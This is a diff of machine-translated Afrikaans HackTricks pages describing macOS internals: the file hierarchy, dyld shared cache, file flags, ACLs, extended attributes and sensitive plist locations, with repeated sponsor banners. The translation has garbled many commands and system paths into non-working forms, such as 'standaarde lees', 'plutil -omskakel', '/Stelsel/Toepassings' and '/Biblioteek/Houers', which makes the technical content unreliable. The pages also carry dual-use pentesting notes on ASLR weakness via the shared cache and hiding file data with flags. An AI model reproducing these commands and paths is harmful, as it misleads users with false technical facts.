* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# macOS Lêeruitbreiding & URL-skema-toepassingshanteraars
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## LaunchServices-databasis
@ -81,16 +82,17 @@ grep -A3 CFBundleTypeExtensions Info.plist | grep string
<string>xbl</string>
<string>svg</string>
```
{% hint style="success" %}
Leer & oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,44 +1,45 @@
# macOS Lêers, Lêers, Binêre & Geheue
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## Lêerhiërargie uitleg
## Lêerhierargie uitleg
* **/Toepassings**: Die geïnstalleerde programme behoort hier te wees. Alle gebruikers sal hulle kan bereik.
* **/bin**: Opdraglyn-binêre
* **/kerne**: Indien dit bestaan, word dit gebruik om kernafleidings te stoor
* **/dev**: Alles word behandel as 'n lêer, sodat jy hardewaretoestelle hier gestoor kan sien.
* **/dev**: Alles word as 'n lêer hanteer, sodat jy hardewaretoestelle hier gestoor kan sien.
* **/ ens**: Konfigurasie lêers
* **/Biblioteek**: 'n Baie subdossiers en lêers wat verband hou met voorkeure, cache en logboeke kan hier gevind word. 'N Biblioteek-dossier bestaan in die wortel en in elke gebruiker se gids.
* **/privaat**: Onbeskryf, maar baie van die genoemde dossiers is simboliese skakels na die privaat gids.
* **/Biblioteek**: 'n Baie subdossiers en lêers wat verband hou met voorkeure, cache en logboeke kan hier gevind word. 'N Biblioteekvouer bestaan in die wortel en in elke gebruiker se gids.
* **/privaat**: Onbeskryf, maar baie van die genoemde vouers is simboliese skakels na die privaatgids.
* **/sbin**: Essensiële stelsel-binêre (verwant aan administrasie)
* **/Stelsel**: Lêer om OS X te laat loop. Jy behoort meestal net Apple-spesifieke lêers hier te vind (nie derdeparty nie).
* **/Stelsel**: Lêer om OS X te laat loop. Jy behoort meestal net Apple-spesifieke lêers hier te vind (nie derde party nie).
* **/tmp**: Lêers word na 3 dae verwyder (dit is 'n sagte skakel na /privaat/tmp)
* **/Gebruikers**: Tuisgids vir gebruikers.
* **/usr**: Konfig en stelsel-binêre
* **/var**: Loglêers
* **/Volumes**: Die aangehegde aandrywings sal hier verskyn.
* **/.vol**: Deur `stat a.txt` te hardloop, verkry jy iets soos `16777223 7545753 -rw-r--r-- 1 gebruikersnaam wiel ...` waar die eerste nommer die id-nommer van die volume is waar die lêer bestaan en die tweede een is die inode-nommer. Jy kan die inhoud van hierdie lêer benader deur /.vol/ met daardie inligting te hardloop `cat /.vol/16777223/7545753`
* **/Volumes**: Die gemoniteerde aandrywings sal hier verskyn.
* **/.vol**: Deur `stat a.txt` te hardloop, verkry jy iets soos `16777223 7545753 -rw-r--r-- 1 gebruikersnaam wiel ...` waar die eerste nommer die id-nommer van die volume waar die lêer bestaan, en die tweede een die inode-nommer is. Jy kan die inhoud van hierdie lêer benader deur /.vol/ met daardie inligting te hardloop `cat /.vol/16777223/7545753`
### Toepassingsdossiers
### Toepassingsvouers
* **Stelseltoepassings** is geleë onder `/Stelsel/Toepassings`
* **Geïnstalleerde** toepassings is gewoonlik geïnstalleer in `/Toepassings` of in `~/Toepassings`
* **Toepassingsdata** kan gevind word in `/Biblioteek/Toepassingondersteuning` vir die toepassings wat as wortel loop en `~/Biblioteek/Toepassingondersteuning` vir toepassings wat as die gebruiker loop.
* Derdeparty-toepassings **demone** wat **as wortel moet loop** is gewoonlik geleë in `/Biblioteek/BevoorregteHulpinstrumente/`
* **Gesandboxte** programme word in die `~/Biblioteek/Houers`-gids ingekart. Elke toep het 'n gids wat genoem word volgens die toepassing se bondel-ID (`com.apple.Safari`).
* **Toepassingsdata** kan gevind word in `/Biblioteek/Toepassingondersteuning` vir toepassings wat as wortel hardloop en `~/Biblioteek/Toepassingondersteuning` vir toepassings wat as die gebruiker hardloop.
* Derdeparty-toepassings **demone** wat **as wortel moet hardloop** is gewoonlik geleë in `/Biblioteek/BevoorregteHulpprogramme/`
* **Sandboks**-toepassings word in die `~/Biblioteek/Houers`-vouer afgebeeld. Elke toep het 'n vouer wat volgens die toepassing se bondel-ID genoem word (`com.apple.Safari`).
* Die **kerne** is geleë in `/Stelsel/Biblioteek/Kerne/kerne`
* **Apple se kernuitbreidings** is geleë in `/Stelsel/Biblioteek/Uitbreidings`
* **Derdeparty-kernuitbreidings** word gestoor in `/Biblioteek/Uitbreidings`
@ -64,17 +65,17 @@ macOS stoor inligting soos wagwoorde op verskeie plekke:
* **`.plist`**: Ook bekend as eienskapslys, stoor inligting in XML- of binêre formaat.
* Dit kan XML of binêre wees. Binêre eenhede kan gelees word met:
* `standaarde lees konfig.plist`
* `/usr/libexec/PlistBuddy -c druk config.plsit`
* `/usr/libexec/PlistBuddy -c druk konfig.plsit`
* `plutil -p ~/Biblioteek/Voorkeure/com.apple.screensaver.plist`
* `plutil -omskakel xml1 ~/Biblioteek/Voorkeure/com.apple.screensaver.plist -o -`
* `plutil -omskakel json ~/Biblioteek/Voorkeure/com.apple.screensaver.plist -o -`
* **`.app`**: Apple-toepassings wat die gidsstruktuur volg (Dit is 'n bondel).
* **`.dylib`**: Dinamiese biblioteke (soos Windows DLL-lêers)
* **`.pkg`**: Is dieselfde as xar (eXtensible Archive-formaat). Die installeerderopdrag kan gebruik word om die inhoud van hierdie lêers te installeer.
* **`.pkg`**: Is dieselfde as xar (Uitbreibare Argief-formaat). Die installeerderopdrag kan gebruik word om die inhoud van hierdie lêers te installeer.
* **`.DS_Store`**: Hierdie lêer is in elke gids, dit stoor die eienskappe en aanpassings van die gids.
* **`.Spotlight-V100`**: Hierdie gids verskyn op die wortelgids van elke volume op die stelsel.
* **`.Spotlight-V100`**: Hierdie vouer verskyn op die wortelgids van elke volume op die stelsel.
* **`.metadata_never_index`**: As hierdie lêer aan die wortel van 'n volume is, sal Spotlight daardie volume nie indeks nie.
* **`.noindex`**: Lêers en gids met hierdie uitbreiding sal nie deur Spotlight geïndekseer word nie.
* **`.noindex`**: Lêers en vouers met hierdie uitbreiding sal nie deur Spotlight geïndekseer word nie.
* **`.sdef`**: Lêers binne bondels wat spesifiseer hoe dit moontlik is om met die toepassing te interaksieer vanuit 'n AppleScript.
### macOS Bondels
@ -87,7 +88,7 @@ macOS stoor inligting soos wagwoorde op verskeie plekke:
## Dyld Gedeelde Biblioteekkas (SLC)
Op macOS (en iOS) word alle stelsel gedeelde biblioteke, soos raamwerke en dylibs, **gekombineer in 'n enkele lêer**, genoem die **dyld gedeelde kas**. Dit verbeter die prestasie, aangesien kode vinniger gelaai kan word.
Op macOS (en iOS) word alle stelsel gedeelde biblioteke, soos raamwerke en dylibs, **gekombineer in 'n enkele lêer**, genaamd die **dyld gedeelde kas**. Dit het die werkverrigting verbeter, aangesien kode vinniger gelaai kan word.
Dit is geleë in macOS in `/Stelsel/Volumes/Preboot/Cryptexes/OS/Stelsel/Biblioteek/dyld/` en in ouer weergawes kan jy die **gedeelde kas** dalk vind in **`/Stelsel/Biblioteek/dyld/`**.\
In iOS kan jy hulle vind in **`/Stelsel/Biblioteek/Caches/com.apple.dyld/`**.
@ -109,7 +110,7 @@ dyldex_all [dyld_shared_cache_path] # Extract all
{% endcode %}
{% hint style="success" %}
Merk op dat selfs as die `dyld_shared_cache_util`-werktuig nie werk nie, kan jy die **gedeelde dyld-binêre lêer aan Hopper oorhandig** en sal Hopper in staat wees om al die biblioteke te identifiseer en jou **laat kies watter een** jy wil ondersoek:
Let wel dat selfs as die `dyld_shared_cache_util`-werktuig nie werk nie, kan jy die **gedeelde dyld-binêre lêer aan Hopper oorhandig** en sal Hopper in staat wees om al die biblioteke te identifiseer en jou **laat kies watter een** jy wil ondersoek:
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1152).png" alt="" width="563"><figcaption></figcaption></figure>
@ -120,13 +121,13 @@ Sommige ekstrakteurs sal nie werk nie omdat dylibs vooraf gekoppel is met hardge
Dit is ook moontlik om die Gedeelde Biblioteekkas van ander \*OS-toestelle in macOS af te laai deur 'n emulator in Xcode te gebruik. Hulle sal binne gelaai word: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport/<version>/Symbols/System/Library/Caches/com.apple.dyld/`, soos:`$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64`
{% endhint %}
### In Kaart Bring van SLC
### Inrigting van SLC
**`dyld`** gebruik die systaalaanroep **`shared_region_check_np`** om te weet of die SLC in kaart gebring is (wat die adres teruggee) en **`shared_region_map_and_slide_np`** om die SLC in kaart te bring.
Merk op dat selfs as die SLC op die eerste gebruik geskuif word, gebruik al die **prosesse** dieselfde kopie, wat die ASLR-beskerming **elimineer** as die aanvaller in staat was om prosesse in die stelsel uit te voer. Dit is eintlik in die verlede uitgebuit en reggestel met die gedeelde streekpager.
Let wel dat selfs as die SLC op die eerste gebruik geskuif word, gebruik al die **prosesse** dieselfde kopie, wat die ASLR-beskerming **uitgeskakel het** as die aanvaller in staat was om prosesse in die stelsel uit te voer. Dit is eintlik in die verlede uitgebuit en reggestel met die gedeelde streekpager.
Takpoels is klein Mach-O-dylibs wat klein spasies tussen beeldtoewysings skep wat dit onmoontlik maak om die funksies te interposeer.
Takpoele is klein Mach-O-dylibs wat klein spasies tussen beeldafbeeldings skep wat dit onmoontlik maak om die funksies te interposeer.
### Oorskryf SLC's
@ -139,18 +140,18 @@ Deur die omgewingsveranderlikes te gebruik:
### Vouerregte
In 'n **vouer** laat **lees** toe om dit te **lys**, **skryf** laat toe om dit te **verwyder** en **skryf** lêers daarop, en **uitvoer** laat toe om die gids te **deursoek**. So, byvoorbeeld, 'n gebruiker met **leesreg oor 'n lêer** binne 'n gids waar hy **nie uitvoerreg** het **nie sal nie in staat wees om** die lêer te lees nie.
In 'n **vouer** laat **lees** toe om dit te **lys**, **skryf** laat toe om dit te **verwyder** en **skryf** lêers daarop, en **uitvoer** laat toe om die gids te **deursoek**. Dus, byvoorbeeld, 'n gebruiker met **leesreg oor 'n lêer** binne 'n gids waar hy **nie uitvoerreg** het **nie sal nie in staat wees om** die lêer te lees.
### Vlagmodifiseerders
Daar is sekere vlae wat in die lêers ingestel kan word wat die lêer anders laat optree. Jy kan die vlae van die lêers binne 'n gids nagaan met `ls -lO /path/directory`
* **`uchg`**: Bekend as die **uchange**-vlag sal **enige aksie** wat die **lêer** verander of verwyder **voorkom**. Om dit in te stel doen: `chflags uchg file.txt`
* Die root-gebruiker kon die vlag **verwyder** en die lêer wysig
* **`beperk`**: Hierdie vlag maak die lêer **beskerm deur SIP** (jy kan nie hierdie vlag by 'n lêer voeg nie).
* **`uchg`**: Bekend as **uchange**-vlag sal **enige aksie** wat die **lêer** verander of verwyder **voorkom**. Om dit in te stel doen: `chflags uchg file.txt`
* Die root-gebruiker kan die vlag **verwyder** en die lêer wysig
* **`restricted`**: Hierdie vlag maak die lêer **beskerm deur SIP** (jy kan nie hierdie vlag by 'n lêer voeg nie).
* **`Sticky bit`**: As 'n gids met 'n plakkerige bit, kan **slegs** die **gidseienaar of root** lêers hernoem of verwyder. Tipies word dit op die /tmp-gids ingestel om gewone gebruikers te verhoed om ander gebruikers se lêers te verwyder of te skuif.
Al die vlae kan gevind word in die lêer `sys/stat.h` (vind dit deur `mdfind stat.h | grep stat.h`) en is:
Al die vlae kan gevind word in die lêer `sys/stat.h` (vind dit met `mdfind stat.h | grep stat.h`) en is:
* `UF_SETTABLE` 0x0000ffff: Masker van eienaar veranderbare vlae.
* `UF_NODUMP` 0x00000001: Moet lêer nie dump nie.
@ -164,7 +165,7 @@ Al die vlae kan gevind word in die lêer `sys/stat.h` (vind dit deur `mdfind sta
* `SF_SUPPORTED` 0x009f0000: Masker van supergebruiker ondersteunde vlae.
* `SF_SETTABLE` 0x3fff0000: Masker van supergebruiker veranderbare vlae.
* `SF_SYNTHETIC` 0xc0000000: Masker van stelsel slegs-lees sintetiese vlae.
* `SF_ARCHIVED` 0x00010000: Lêer is gearkiveer.
* `SF_ARCHIVED` 0x00010000: Lêer is ge-argiveer.
* `SF_IMMUTABLE` 0x00020000: Lêer mag nie verander word nie.
* `SF_APPEND` 0x00040000: Skrywes na lêer mag slegs aangeheg word.
* `SF_RESTRICTED` 0x00080000: Toestemming benodig vir skryf.
@ -177,7 +178,7 @@ Al die vlae kan gevind word in die lêer `sys/stat.h` (vind dit deur `mdfind sta
Lêer **ACL's** bevat **ACE** (Toegangsbeheerinskrywings) waar meer **fynkorrelige regte** aan verskillende gebruikers toegewys kan word.
Dit is moontlik om 'n **gids** hierdie regte toe te ken: `lys`, `soek`, `voeg_lêer_by`, `voeg_subgids_by`, `verwyder_kind`, `verwyder_kind`.\
En aan 'n **lêer**: `lees`, `skryf`, `aanheg`, `uitvoer`.
En aan 'n **lêer**: `lees`, `skryf`, `voeg_by`, `voer_uit`.
Wanneer die lêer ACL's bevat, sal jy 'n "+" vind wanneer jy die regte lys soos in:
```bash
@ -190,7 +191,7 @@ ls -lde Movies
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
0: group:everyone deny delete
```
Jy kan **alle lêers met ACL's vind** met (dit is baaaie stadig):
Jy kan **alle lêers met ACLs vind** met (dit is baaaie stadig):
```bash
ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
```
@ -198,19 +199,19 @@ ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
Uitgebreide eienskappe het 'n naam en enige gewenste waarde, en kan gesien word deur `ls -@` te gebruik en gemanipuleer word met behulp van die `xattr` bevel. Sommige algemene uitgebreide eienskappe is:
- `com.apple.resourceFork`: Hulpbronvurkverenigbaarheid. Ook sigbaar as `lêernaam/..namedfork/rsrc`
- `com.apple.quarantine`: MacOS: Gatekeeper karantynmeganisme (III/6)
- `metadata:*`: MacOS: verskeie metadata, soos `_backup_excludeItem`, of `kMD*`
- `com.apple.lastuseddate` (#PS): Datum van laaste lêergebruik
- `com.apple.FinderInfo`: MacOS: Finder-inligting (bv., kleurmerke)
- `com.apple.TextEncoding`: Spesifiseer teksenkodering van ASCII-tekslêers
- `com.apple.logd.metadata`: Gebruik deur logd op lêers in `/var/db/diagnostics`
- `com.apple.genstore.*`: Generasieopberging (`/.DocumentRevisions-V100` in die wortel van die lêersisteem)
- `com.apple.rootless`: MacOS: Gebruik deur Stelselintegriteitsbeskerming om lêer te etiketteer (III/10)
- `com.apple.uuidb.boot-uuid`: logd-merkings van opstarts met unieke UUID
- `com.apple.decmpfs`: MacOS: Deursigtige lêerkompressie (II/7)
- `com.apple.cprotect`: \*OS: Per-lêer-koderingsdata (III/11)
- `com.apple.installd.*`: \*OS: Metadata wat deur installd gebruik word, bv., `installType`, `uniqueInstallID`
* `com.apple.resourceFork`: Hulpbronvurkverenigbaarheid. Ook sigbaar as `lêernaam/..namedfork/rsrc`
* `com.apple.quarantine`: MacOS: Gatekeeper karantynmeganisme (III/6)
* `metadata:*`: MacOS: verskeie metadata, soos `_backup_excludeItem`, of `kMD*`
* `com.apple.lastuseddate` (#PS): Datum van laaste lêergebruik
* `com.apple.FinderInfo`: MacOS: Finder-inligting (bv., kleurmerke)
* `com.apple.TextEncoding`: Spesifiseer teksenkodering van ASCII-tekslêers
* `com.apple.logd.metadata`: Gebruik deur logd op lêers in `/var/db/diagnostics`
* `com.apple.genstore.*`: Generasieopberging (`/.DocumentRevisions-V100` in die wortel van die lêersisteem)
* `com.apple.rootless`: MacOS: Gebruik deur Stelselintegriteitsbeskerming om lêer te etiketteer (III/10)
* `com.apple.uuidb.boot-uuid`: logd-merkings van opstarts met unieke UUID
* `com.apple.decmpfs`: MacOS: Deursigtige lêerkompressie (II/7)
* `com.apple.cprotect`: \*OS: Per-lêer-koderingsdata (III/11)
* `com.apple.installd.*`: \*OS: Metadata wat deur installd gebruik word, bv., `installType`, `uniqueInstallID`
### Hulpbronvurke | macOS ADS
@ -225,7 +226,7 @@ com.apple.ResourceFork: Hello Mac ADS
ls -l a.txt #The file length is still q
-rw-r--r--@ 1 username wheel 6 17 Jul 01:15 a.txt
```
Jy kan **al die lêers wat hierdie uitgebreide eienskap bevat, vind met:**
Jy kan **alle lêers wat hierdie uitgebreide eienskap bevat, vind met:**
{% code overflow="wrap" %}
```bash
@ -235,15 +236,15 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
### decmpfs
Die uitgebreide kenmerk `com.apple.decmpfs` dui daarop dat die lêer versleutel is, `ls -l` sal 'n **grootte van 0** rapporteer en die saamgedrukte data is binne hierdie kenmerk. Telkens wanneer die lêer geopen word, sal dit in die geheue ontsluit word.
Die uitgebreide attribuut `com.apple.decmpfs` dui daarop dat die lêer versleutel is, `ls -l` sal 'n **grootte van 0** rapporteer en die saamgedrukte data is binne hierdie attribuut. Telkens wanneer die lêer geopen word, sal dit in die geheue ontsluit word.
Hierdie kenmerk kan gesien word met `ls -lO` aangedui as saamgedruk omdat saamgedrukte lêers ook gemerk word met die vlag `UF_COMPRESSED`. As 'n saamgedrukte lêer verwyder word, sal hierdie vlag met `chflags nocompressed </path/to/file>` verwyder word, die stelsel sal dan nie weet dat die lêer saamgedruk was nie en daarom sal dit nie kan ontsaam en toegang tot die data hê nie (dit sal dink dat dit eintlik leeg is).
Hierdie attribuut kan gesien word met `ls -lO` aangedui as saamgedruk omdat saamgedrukte lêers ook gemerk word met die vlag `UF_COMPRESSED`. As 'n saamgedrukte lêer verwyder word, sal hierdie vlag met `chflags nocompressed </path/to/file>` verwyder word, die stelsel sal dan nie weet dat die lêer saamgedruk was nie en daarom sal dit nie kan ontsaamdruk en toegang tot die data hê nie (dit sal dink dat dit eintlik leeg is).
Die instrument afscexpand kan gebruik word om 'n lêer kragtig te ontsaam.
Die instrument afscexpand kan gebruik word om 'n lêer kragtig te ontsaamdruk.
## **Universale lêers &** Mach-o-formaat
## **Universele lêers &** Mach-o-formaat
Mac OS-lêers is gewoonlik saamgestel as **universale lêers**. 'n **Universale lêer** kan **verskeie argitekture in dieselfde lêer ondersteun**.
Mac OS-lêers is gewoonlik saamgestel as **universele lêers**. 'n **Universele lêer** kan **verskeie argitekture in dieselfde lêer ondersteun**.
{% content-ref url="universal-binaries-and-mach-o-format.md" %}
[universal-binaries-and-mach-o-format.md](universal-binaries-and-mach-o-format.md)
@ -277,16 +278,17 @@ Die gids `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/Syste
* **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Data oor draadlose toegangspunte.
* **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Lys van gedeaktiveerde daemons.
{% hint style="success" %}
Leer & oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# macOS Bundels
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
